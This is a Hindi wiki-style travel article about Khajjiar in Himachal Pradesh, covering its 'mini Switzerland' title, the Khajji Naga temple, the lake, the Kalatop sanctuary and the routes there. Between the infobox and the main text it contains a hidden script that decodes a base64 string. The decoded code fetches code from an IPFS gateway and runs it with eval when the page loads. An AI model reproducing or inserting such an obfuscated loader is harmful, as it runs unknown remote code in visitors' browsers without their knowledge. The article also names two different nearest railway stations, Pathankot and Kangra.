खज्जियार

भारत डिस्कवरी प्रस्तुति
आदित्य चौधरी (चर्चा | योगदान) द्वारा परिवर्तित 06:36, 10 फ़रवरी 2021 का अवतरण (Text replacement - "अंदाज " to "अंदाज़")
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
खज्जियार
खज्जियार
विवरण खज्जियार हिमाचल प्रदेश का ख़ूबसूरत पहाड़ी स्थान है। चीड़ और देवदार के ऊँचे-लंबे, हरे-भरे पेड़ों के बीच बसा खज्जियार दुनिया के 160 'मिनी स्विटजरलैंड' में से एक है। हज़ारों साल पुराने इस छोटे से पहाड़ी स्थान को ख़ासकर 'खज्जी नागा मंदिर' के लिए जाना जाता है।
राज्य हिमाचल प्रदेश
प्रसिद्धि स्विज राजदूत ने यहाँ की ख़ूबसूरती से आकर्षित होकर 7 जुलाई, 1992 को खज्जियार को हिमाचल प्रदेश का 'मिनी स्विटजरलेंड' की उपाधि दी थी।
कब जाएँ मई और जून माह में
हवाई अड्डा गागल, (कांगड़ा)
रेलवे स्टेशन पठानकोट
क्या देखें 'खज्जी नागा मंदिर', 'कालटोप वन्य जीव अभ्यारण्य'
अन्य जानकारी सड़क मार्ग से खज्जियार आने के लिए चंबा या डलहौज़ी पहुँचने के बाद मुश्किल से आधा घंटे का समय लगता है। यह पर्यटन स्थल छोटा भले ही है, लेकिन लोकप्रियता मे बड़े-बड़े हिल स्टेशनों से कम नहीं है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

खज्जियार हिमाचल प्रदेश की चम्बा वैली में स्थित एक मनमोहक पहाड़ी स्थान है। चीड़ और देवदार के ऊँचे-लंबे, हरे-भरे पेड़ों के बीच बसा खज्जियार दुनिया के 160 मिनी स्विटजरलैंड में से एक है। यहाँ आकर पर्यटकों को आत्मिक शांति और मानसिक सुकून मिलता है। यदि अप्रैल के बाद मई-जून की झुलसाने वाली गर्मी से छुटकारा पाना हो तो यह स्थान पर्यटकों के लिए बिलकुल सपनों के शहर जैसा ही है। खज्जियार के मौसम में एक अलग ही मस्ती है, नजारों में अलग ही सौंदर्य है। यही कारण है कि आस-पास के लोग तो यहाँ पिकनिक मनाने के लिए आ ही जाते हैं, दूर-दूर से बार-बार आने वाले पर्यटकों की संख्या भी कम नहीं रहती।

पर्यटक स्थल

भारत की राजधानी दिल्ली से 508 किलोमीटर की दूरी पर स्थित खज्जियार दुनिया के 160 मिनी स्विट्जरलैंड में से एक माना जाता है। हज़ारों साल पुराने इस छोटे से हिल स्टेशन को ख़ासकर 'खज्जी नागा मंदिर' के लिए जाना जाता है। 10वीं शताब्दी का यह धार्मिक स्थल पहाड़ी अंदाज़में बनाया गया है और यहाँ नागदेव की पूजा होती है। लेकिन पर्यटक तो मुख्य रूप से 1951 मीटर की ऊँचाई पर स्थित इस हिल स्टेशन की आबोहवा का ही आनंद उठाने के लिए आते हैं। दिन भर तो मौसम सुहाना होता ही है, शाम ढलने पर यहाँ का मौसम कुछ इस कदर मनमोहक और रोमांचित करने वाला हो जाता है कि पर्यटक हल्के कपड़े पहनकर टहलने के लिए निकल पड़ेंगे।

आकर्षण का केंद्र

चीड़ एवं देवदार के वृक्षों से ढके इस ढलवे मैदानी क्षेत्र के मध्य में एक लेक भी है, जिसे 'खजियार लेक' कहा जाता है। पर्यटकों के आकर्षण का मुख्य केंद्र भी यही लेक है। लेक के बीच में टापूनुमा दो जगह हैं, जहाँ पहुँचकर पर्यटक और रोमांचित हो जाता है। शायद इस जगह की इन्हीं विशेषताओं के कारण चम्बा के तत्कालीन राजा ने इसे अपनी राजधानी बनाया था। यहाँ गर्मियों में मौसम बेहद सुहावना रहता है। यहाँ आने के लिए अप्रैल से जून का मौसम बेहतरीन माना जाता है। इस मौसम में यहाँ तरह-तरह के रोमांचक खेलों का भी आयोजन किया जाता है। अगर आप गोल्फ के शौकीन हैं तो आपके लिए यह हिल स्टेशन और भी बेहतर है।

लोकप्रियता

यह पर्यटन स्थल छोटा भले ही है, लेकिन लोकप्रियता मे बड़े-बड़े हिल स्टेशनों से कम नहीं है। इसीलिए यहाँ पहुँचने में भी कोई परेशानी नहीं होती। यहाँ के सार्वजनिक निर्माण विभाग के रेस्ट हाऊस के पास स्थित देवदार के छह समान ऊँचाई की शाखाओं वाले पेड़ों को पाँच पांडवों और छठी द्रौपदी के प्रतीकों के रूप में माना जाता है। यहाँ से एक कि.मी. की दूरी पर 'कालटोप वन्य जीव अभ्यारण्य' में 13 समान ऊँचाई की शाखाओं वाले एक बड़े देवदार के वृक्ष को 'मदर ट्री' के नाम से जाना जाता है। यहाँ पशु-पक्षी प्रेमी सैलानियों को कई दुर्लभ जंगली जानवर और पक्षियों के दर्शन हो जाते हैं। स्विज राजदूत ने यहाँ की ख़ूबसूरती से आकर्षित होकर 7 जुलाई, 1992 को खज्जियार को हिमाचल प्रदेश का 'मिनी स्विटजरलेंड' की उपाधि दी थी। यहाँ आकर ऐसा लगता है मानो प्रकृति ने झील के चारों ओर हरी-भरी मुलायम और आकर्षक घास की चादर बिछा रखी हो।

कैसे पहुँचें

सड़क मार्ग से यहाँ आने के लिए चंबा या डलहौजी पहुँचने के बाद मुश्किल से आधा घंटे का समय लगता है। चंडीगढ़ से 352 और पठानकोट रेलवे स्टेशन से मात्र 95 किलोमीटर की दूरी पर स्थित खज्जियार में 'खज्जी नागा मंदिर' की बड़ी मान्यता है। मंदिर के मंडप के कोनों में पाँच पांडवों की लकड़ी की मूर्तियाँ स्थापित हैं। मान्यता है कि पांडव अपने अज्ञातवास के दौरान यहाँ आकर ठहरे थे। यहाँ का नजदीकी हवाई अड्डा कांगड़ा का 'गागल' है, जो कि 12 कि.मी. की दूरी पर और नजदीकी रेलवे स्टेशन कांगड़ा 18 कि.मी. की दूरी पर स्थित हैं। सड़क मार्ग से सीधे यहाँ पहुँचा जा सकता है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

विथिका

खज्जियार


बाहरी कड़ियाँ

संबंधित लेख